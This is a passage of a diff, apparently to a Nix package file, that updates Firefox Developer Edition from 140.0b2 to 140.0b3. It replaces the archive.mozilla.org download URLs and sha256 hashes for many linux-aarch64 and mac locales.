-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ka/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ka/firefox-140.0b3.tar.xz";
       locale = "ka";
       arch = "linux-aarch64";
-      sha256 = "279672ac2c1b8d7f0e0d942f027a7fdfa7245c9676a406889f420e6b55131ae7";
+      sha256 = "abf5e0c2f1db38f2295223d9bc6835d2250ddc511d1a6373193cab58eb8b5bef";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kab/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kab/firefox-140.0b3.tar.xz";
       locale = "kab";
       arch = "linux-aarch64";
-      sha256 = "502c7aefb553e3dd95dd66ee5c20f3314996e0a9551c6da66b3210a2af3268b2";
+      sha256 = "1e216572e181b2182b4a2e4320675c2ac6d523f27f35227b17772b1454e5ce3b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kk/firefox-140.0b3.tar.xz";
       locale = "kk";
       arch = "linux-aarch64";
-      sha256 = "71b29a6a4b5d8520c74b4321da341fd7d249396d898535f5ddcabdcb63c3fd05";
+      sha256 = "48e8817330d41757d848a69f95e3a89a0b405f46cef54f61541b2cee47910098";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/km/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/km/firefox-140.0b3.tar.xz";
       locale = "km";
       arch = "linux-aarch64";
-      sha256 = "dd9e94f1c57b55e16cbeaffa85ad406a9a845b7f67c2675b7f0cce97837b389c";
+      sha256 = "24182bdda0438cc4efb50d9ece8d737cf05e1711d15e871c21dd4049200a064f";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/kn/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/kn/firefox-140.0b3.tar.xz";
       locale = "kn";
       arch = "linux-aarch64";
-      sha256 = "9ef46633c7abf9862442181598534019b5da16d64cb0150bfa82a06c85a3410f";
+      sha256 = "4792c242e54c336a33fca76299a712a2ec05196081dc6758f39f07b7e18ef183";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ko/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ko/firefox-140.0b3.tar.xz";
       locale = "ko";
       arch = "linux-aarch64";
-      sha256 = "bcfa77af5b291c24b0c60e730c39dd0217a6ff54818e2728ccbf84e04d20d2f9";
+      sha256 = "cb4a05aea03ed789617c032dcb2669c6c1d4c3692cbde750a1994fc641c4f013";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lij/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lij/firefox-140.0b3.tar.xz";
       locale = "lij";
       arch = "linux-aarch64";
-      sha256 = "2ab2cd1914eb0cf2429d9f02e95f5752a5284e12f85e29c54fbfde1ba95bff55";
+      sha256 = "f3964c38e58615d0eb7d0150e0c6920a90788f1477fefd2d762556a174662838";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lt/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lt/firefox-140.0b3.tar.xz";
       locale = "lt";
       arch = "linux-aarch64";
-      sha256 = "21854475ae62c250dd11e3265b109ccc755cfe4b7827c6911dd4246f26987318";
+      sha256 = "91d419c2bfa9a03abd18e603158f416ef2fa023b29de4e926bacc5ca1feb9946";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/lv/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/lv/firefox-140.0b3.tar.xz";
       locale = "lv";
       arch = "linux-aarch64";
-      sha256 = "1fb6f3e717bd7f285f1d084fea8be957eb7959c29035c4c1de3b116a21f9af67";
+      sha256 = "a4829aa251cdc8c4873870cf85ce889a088a7f60a669ecac6302f818de2677e1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/mk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/mk/firefox-140.0b3.tar.xz";
       locale = "mk";
       arch = "linux-aarch64";
-      sha256 = "9f52a7a077d6578820ae9011936ba436eb121814aeeae80e3c5aae097fc3af28";
+      sha256 = "571039c86835ace41507fbb7e88fb808bab9a3cdba86ecca36a705076f1be6ff";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/mr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/mr/firefox-140.0b3.tar.xz";
       locale = "mr";
       arch = "linux-aarch64";
-      sha256 = "3f2b240659b7354b2d3cbdd8175f33a2a5884c90133fa394cd15b4f6e86ba4a1";
+      sha256 = "5af4d3f08a05a7fd321678d6f5407ca0b885e72c45b320b8c7a6a7658e127e6d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ms/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ms/firefox-140.0b3.tar.xz";
       locale = "ms";
       arch = "linux-aarch64";
-      sha256 = "73a18b565e742dbf56c406f2f1cf729a0dd0cbbb3c8660c8c01b2081cc924fba";
+      sha256 = "84bc3e41e4e72b8202eec681520edcd1fcacdcc20dd256ae26280f0136620da9";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/my/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/my/firefox-140.0b3.tar.xz";
       locale = "my";
       arch = "linux-aarch64";
-      sha256 = "e5e43ede829a329c553e786659e980d5e6e94f5228c42c2a44eb34b399210bb3";
+      sha256 = "c99a18fcb63f901cf4d5cad5ee1278895afa4b9ef8d7cb7e0ac0e084e0d25f3c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nb-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nb-NO/firefox-140.0b3.tar.xz";
       locale = "nb-NO";
       arch = "linux-aarch64";
-      sha256 = "bd5feca0d1a34e6ba4cc4839ba50d89bf0beda61ba975a2ef76f1a053d725605";
+      sha256 = "816e39b1c3539e771d8f4d7098dfee49595a0432edf8c76a3766d3b1869ac710";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ne-NP/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ne-NP/firefox-140.0b3.tar.xz";
       locale = "ne-NP";
       arch = "linux-aarch64";
-      sha256 = "864e1ede94813108b75fbd870884f93f77628e6cce0449b76018b9118a2c4b0b";
+      sha256 = "1d8ebc6580cbbe03afc5070228f40a5bf928f9edf904605856ba9c1df81fa665";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nl/firefox-140.0b3.tar.xz";
       locale = "nl";
       arch = "linux-aarch64";
-      sha256 = "4bba7f1feaa30adc2bfcc769469eb03361b6193260424d3af0092047c6e777a3";
+      sha256 = "ffa903ab76a6dfeda4cf863fbb7248b4a428d03e686d21790c4647d43653975e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/nn-NO/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/nn-NO/firefox-140.0b3.tar.xz";
       locale = "nn-NO";
       arch = "linux-aarch64";
-      sha256 = "968d80dbeb5418f968d584ce0c51bfd322b1189c2122a1205f64c0ade22b66f9";
+      sha256 = "1c46c79761fa30948b364396d28fdec00628c21e46400e4c812f5433c8fec7e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/oc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/oc/firefox-140.0b3.tar.xz";
       locale = "oc";
       arch = "linux-aarch64";
-      sha256 = "66f45ad09dd4a90a3b0c6d66a73b8833a1f1f62f58719a98905ae57c60805b9c";
+      sha256 = "efd8f41921db93f5d83e10ad7398d393502c650494dde02349434f3f94b245d5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pa-IN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pa-IN/firefox-140.0b3.tar.xz";
       locale = "pa-IN";
       arch = "linux-aarch64";
-      sha256 = "05f4b146691ca748e27b524c7e1889bee07290d417b8bab59c0582d48019f61e";
+      sha256 = "64bd9c1af3f0695122df345a86d98da74b4edd4dc6e033882d31358be30cfc36";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pl/firefox-140.0b3.tar.xz";
       locale = "pl";
       arch = "linux-aarch64";
-      sha256 = "da9d5833e75feba4034b9b708ff0d17dd93364f0d2f0b5bcb2fcfa5b70717fba";
+      sha256 = "a221d10e8b373bfcb179bb36cd6d0c27779dde66ca5d9fcb89ffe637f1898d8c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pt-BR/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pt-BR/firefox-140.0b3.tar.xz";
       locale = "pt-BR";
       arch = "linux-aarch64";
-      sha256 = "680f083f8dcae74b053214b8a20ff2e253829b3b811212356847f99a108438d1";
+      sha256 = "1b5b0f70cb9db3d3e8a4d6c3712ae8e3f406511ee9fb5c8e2433261c9d46b417";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/pt-PT/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/pt-PT/firefox-140.0b3.tar.xz";
       locale = "pt-PT";
       arch = "linux-aarch64";
-      sha256 = "0a5eb3f4a0c9f0c47fd157a26bc8ea6b70007f912f5e50d38d6ea1487c23f7c1";
+      sha256 = "26182efcafdcdf9dcfaa020f299559d7fcd3ebba62cac5c4622efebfe3435174";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/rm/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/rm/firefox-140.0b3.tar.xz";
       locale = "rm";
       arch = "linux-aarch64";
-      sha256 = "33f73c88fd97ac68c415c9bb55db59c68cc7f482d381ca1a96b235ba2854b9d3";
+      sha256 = "953111cc9b2ae344a6082e95f80960a0bdce0c3b5eb4d667d5b8d749e77b97f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ro/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ro/firefox-140.0b3.tar.xz";
       locale = "ro";
       arch = "linux-aarch64";
-      sha256 = "77c641e73af901a2986661790890dbd831e586b579ae398433ce98117e310b8d";
+      sha256 = "7f52eb2eae1b2f27db938474c0710c28dd7cc5366e88abe37b2f51c644675b1b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ru/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ru/firefox-140.0b3.tar.xz";
       locale = "ru";
       arch = "linux-aarch64";
-      sha256 = "cc6994ffc7d98817352c390db1d06cd215acb5459121d657862c15a95f27ce4f";
+      sha256 = "7cd6928d0c0cedc76c06946c0329a13515016e486ad634c9eda1c184215999a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sat/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sat/firefox-140.0b3.tar.xz";
       locale = "sat";
       arch = "linux-aarch64";
-      sha256 = "f2ca87b4c371399e211874e60e25abbcc320eae84993c066ae9c491d6eece514";
+      sha256 = "0509df8f6e67bf3f0ba3eaa5cdc7f09d2ed52edc2016ba17bdec5dca37dc0215";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sc/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sc/firefox-140.0b3.tar.xz";
       locale = "sc";
       arch = "linux-aarch64";
-      sha256 = "3703ff4a67d1c503fe90726aa63dfa4cb266350aa4c0b5f29723a57ce677fda1";
+      sha256 = "e90d7babeac42128b88966c89bc27ddcb782bdb11cad278cd844f486da9cb1a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sco/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sco/firefox-140.0b3.tar.xz";
       locale = "sco";
       arch = "linux-aarch64";
-      sha256 = "963234677f4cd4c3beb7299541700f865132646b39df9e12e89d0f99d2d9e8df";
+      sha256 = "12520f1d6e4a8d4385dc44e8b0455c0946159793adc05ca2e6bdeccd331741a0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/si/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/si/firefox-140.0b3.tar.xz";
       locale = "si";
       arch = "linux-aarch64";
-      sha256 = "3632f156201c1c86b9497e09b45707f3126cb02b0cd93a936f9fbcea47af57e2";
+      sha256 = "ab879762439cabdf676f74ce07fe7ce3303f97a59f3758ebcdd3e139bb6188a5";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sk/firefox-140.0b3.tar.xz";
       locale = "sk";
       arch = "linux-aarch64";
-      sha256 = "e5b6158136204fc90b960d1650e5c7f0f8b74ecaa46529f3f48c9a9bf7a9cbe6";
+      sha256 = "412edadc539d8999a707a81591537f0565a26f50ca566581687c2e01d186fd95";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/skr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/skr/firefox-140.0b3.tar.xz";
       locale = "skr";
       arch = "linux-aarch64";
-      sha256 = "ee71bf891c728250978a0d19290ddad63e893a68362f73e47249c8600e496c58";
+      sha256 = "6b03c01a8dbaa8e25dcbfe16b45e75c4c0607edfeb1b8378b6218d9c989fe2e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sl/firefox-140.0b3.tar.xz";
       locale = "sl";
       arch = "linux-aarch64";
-      sha256 = "1b38a650fd3e2c41e4e20e19468483b4001719741bc2de99ab555784baea34f2";
+      sha256 = "aa9843e770e2ff34c12a21f58cc74025ec2a2fe506f5ec5d1ed39e2a71ef5e99";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/son/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/son/firefox-140.0b3.tar.xz";
       locale = "son";
       arch = "linux-aarch64";
-      sha256 = "5b0ee6db02cb38b7f340f074d4e454c29babf2bab55282aa29bc51174cebe9fe";
+      sha256 = "0c03dc82f8fe84ad296e928046762f33cba7929cfacc20e58ac3682f641a715b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sq/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sq/firefox-140.0b3.tar.xz";
       locale = "sq";
       arch = "linux-aarch64";
-      sha256 = "14fcb51691a9a4addb2b4d01c0bfff630359c7e1c94181a1b1f41a0bc64f9a9e";
+      sha256 = "825e766cb6204232462edec2ec637fe3620e021382b7ece7f79122194404f85e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sr/firefox-140.0b3.tar.xz";
       locale = "sr";
       arch = "linux-aarch64";
-      sha256 = "9297b97dd92c4a9b848a0b59f6490014c323d54c63965512719cb766b5ec98b3";
+      sha256 = "3dab1ce01cbf1e4b051dd0be1cefca6bc6921ea35a28767a9619915bf3fae1a7";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/sv-SE/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/sv-SE/firefox-140.0b3.tar.xz";
       locale = "sv-SE";
       arch = "linux-aarch64";
-      sha256 = "36c4d22521d6515ef705d59b42cbc86ea385b6713049bac544db89cbe79929f1";
+      sha256 = "9936b4edb5afbc133854bd323ecb9f6de75589903db65b444579139184fe3ed0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/szl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/szl/firefox-140.0b3.tar.xz";
       locale = "szl";
       arch = "linux-aarch64";
-      sha256 = "47cef94cb8d05f1e67fa3c805761bc556181769778d86f91014b01e722da0a95";
+      sha256 = "855d718f0519c19c86380fa72ec6aa0aaf9f82d806fe32bd0b94a2f34f27278c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ta/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ta/firefox-140.0b3.tar.xz";
       locale = "ta";
       arch = "linux-aarch64";
-      sha256 = "eb1ba963923ff35be8d85e2e432db2eea1815e23245006c153616fa643a923af";
+      sha256 = "80e7aa6114c2f8be68a1efc6c73c0b39f0c00679db5f16e8fab65c54c74d2569";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/te/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/te/firefox-140.0b3.tar.xz";
       locale = "te";
       arch = "linux-aarch64";
-      sha256 = "f20e07229cd5cb062b1ce2c07bce7eace439dee11c1de11b956a2ed3dbbde26b";
+      sha256 = "bcc4e2f3fbba6bc6f01a2453165219ce02eb24852d89b0720ec457396f6d0cf0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tg/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tg/firefox-140.0b3.tar.xz";
       locale = "tg";
       arch = "linux-aarch64";
-      sha256 = "b25eac2f5a213045980536b4d5ca04f802f083c0467c56dd02680370ea3c7329";
+      sha256 = "4fa638bb86d4c154a9c98d712641f93cd20b87d57320e39fb0632f64bebed14c";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/th/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/th/firefox-140.0b3.tar.xz";
       locale = "th";
       arch = "linux-aarch64";
-      sha256 = "d2242d267cfa67a147becb147b6ce9540d24049d601a4f00776c0eceac02849b";
+      sha256 = "c36363ce1af201aa457d8a230fd75a5129707ffb75b2c84ad4dd0341314a3df3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tl/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tl/firefox-140.0b3.tar.xz";
       locale = "tl";
       arch = "linux-aarch64";
-      sha256 = "74891370d6b308e15b200355152ba34a31a23fcccee53ad2472a4be17a38667f";
+      sha256 = "b87af873d33da71a73bfa3e0523b0f9651df8921afa3c8671d73a33ac4925346";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/tr/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/tr/firefox-140.0b3.tar.xz";
       locale = "tr";
       arch = "linux-aarch64";
-      sha256 = "6ffa80dc70a4b37da1a0dd45ee26512b60352f5f0a7d7753ae0f786dc3ecc120";
+      sha256 = "a7fff70158702ede22335388e1e695f5e7086d4617fc868f7f2c85957820a50e";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/trs/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/trs/firefox-140.0b3.tar.xz";
       locale = "trs";
       arch = "linux-aarch64";
-      sha256 = "c34973c0d13355f79461880372fed959c4a5872a72b22f570c8480cee4e403ed";
+      sha256 = "ae65ea701ac7c4d71d7de0d175ca2886002704c66a9540af81c92c9fea1edb61";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/uk/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/uk/firefox-140.0b3.tar.xz";
       locale = "uk";
       arch = "linux-aarch64";
-      sha256 = "f0c0b73f4dddc526b058954b4ad3c6757388646dcad0c1fd694947f7f06bb479";
+      sha256 = "3740e4f2065cbc1cf8e5dd413fb9fb1d735e83f28e036cc70dd17a592a4314db";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/ur/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/ur/firefox-140.0b3.tar.xz";
       locale = "ur";
       arch = "linux-aarch64";
-      sha256 = "7cfa2930a547d9b0b15e6ebc571ec8447c42b6a845fd228ccc023df7ddbce914";
+      sha256 = "7f12a9f9e7fbadc91f363259ab25efdd0eb0e7efe876961c5a55d04528a0a8ca";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/uz/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/uz/firefox-140.0b3.tar.xz";
       locale = "uz";
       arch = "linux-aarch64";
-      sha256 = "1d86c24fcac2d62b946d9bc957a9dfeeebc7d519b4662f5a973beb509b946cdf";
+      sha256 = "430cb9447c248f780752109176652be758e11ae8be6697d9887b427a93d7f4f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/vi/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/vi/firefox-140.0b3.tar.xz";
       locale = "vi";
       arch = "linux-aarch64";
-      sha256 = "126e1f815c3e57cade53f92fdb57f0f2c8f93436523f5947df4e1bc64ad32263";
+      sha256 = "69cbdc59a993867bda380c425cb8817cd332d9527a234530d418a3390d89571a";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/xh/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/xh/firefox-140.0b3.tar.xz";
       locale = "xh";
       arch = "linux-aarch64";
-      sha256 = "e3cf2284986f716bb80eac9bc258af4ad089fcb9f24e20dedbc718da3324370e";
+      sha256 = "63fcd5c3aa54cddc831ff612e5a4a81a2d0dbed209884c2f245f1a36daed2cf6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/zh-CN/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/zh-CN/firefox-140.0b3.tar.xz";
       locale = "zh-CN";
       arch = "linux-aarch64";
-      sha256 = "4b4d6d3dbf2fff5efea5c659d5d95c45b55fbc68d0767f7cbd8c052bfdcc5a0b";
+      sha256 = "df7072dca96da6164e8ce0b523eb0f09b5f68a11d53bd9eab0c81ee158e823e8";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/linux-aarch64/zh-TW/firefox-140.0b2.tar.xz";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/linux-aarch64/zh-TW/firefox-140.0b3.tar.xz";
       locale = "zh-TW";
       arch = "linux-aarch64";
-      sha256 = "7725257c301afb843517120dbd5f28d2af0e394aa838d56e208680e8a51183ca";
+      sha256 = "5bc5002bf66948e837eaf42a0b397766416f14c539ab1684e1400b2febb59b5d";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ach/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ach/Firefox%20140.0b3.dmg";
       locale = "ach";
       arch = "mac";
-      sha256 = "4ed0131e4684690e82a3365020d901921255096dcf3a9d59c9ea6845dad75373";
+      sha256 = "b91a4b800d350b018789a6cb08bbeb6e557ef492b79f03c2479fa931eb5eba55";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/af/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/af/Firefox%20140.0b3.dmg";
       locale = "af";
       arch = "mac";
-      sha256 = "b880748c005d6036dd89d9d303976393f3d9ac2a91c185c641ccd647ed056ab8";
+      sha256 = "4cf3232c157eab869704d49f8215f1096f421aa58a5a2653ee6fe186375118f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/an/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/an/Firefox%20140.0b3.dmg";
       locale = "an";
       arch = "mac";
-      sha256 = "6b35af1d4cf4965bae7bfa7ed4df969a81f24b490033c59a9e41eea21fc3e730";
+      sha256 = "26b0318f7d6b8e6d4512fbca50df1b0848ac6df708eadb6d35ff557214bed2a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ar/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ar/Firefox%20140.0b3.dmg";
       locale = "ar";
       arch = "mac";
-      sha256 = "866cfb8c17c8e2382c6ea691187507db00157aaaaf53448d49b95407e18e5c85";
+      sha256 = "3de6a419eeaf8e2b7abd6204856604d52dafbe9457a261d99258a34fd9883d34";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/ast/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/ast/Firefox%20140.0b3.dmg";
       locale = "ast";
       arch = "mac";
-      sha256 = "7f6aa9adad62d9991e693775e91ed6826594405f17cdebccb99cb8dcc39bf095";
+      sha256 = "506566a4074aa217fe718145d68f5792310816bef7d03412796925eb2f497b2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/az/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/az/Firefox%20140.0b3.dmg";
       locale = "az";
       arch = "mac";
-      sha256 = "6fe3f217f783eb93cd8d84b903a9453893b9f1de3f48f68e5484b351b93ef711";
+      sha256 = "6b4d36108ea50db402e5dde3722c251150037c49e13dce7067119029d831ab38";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/be/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/be/Firefox%20140.0b3.dmg";
       locale = "be";
       arch = "mac";
-      sha256 = "aae7e9683edee898fd2c665eb1e11572ac4ba61a4960daaa09c19675fa1a19c1";
+      sha256 = "ed5f409da41108e7315499580a848fbc38b6795dbbb4873c1a49b654d3ebcdb0";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bg/Firefox%20140.0b2.dmg";
+      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b3/mac/bg/Firefox%20140.0b3.dmg";
       locale = "bg";
       arch = "mac";
-      sha256 = "45cdf56dd70258d1c20ed870adfe2772b7a1b30cf834409edf397d0dca6f395f";
+      sha256 = "3d89876f2a64a0a089c835efc068cafa8f0611a393bfda1e700fe174ad97ea67";
     }
     {
-      url = "https://archive.mozilla.org/pub/devedition/releases/140.0b2/mac/bn/Firefox%20140.0b2.dmg";
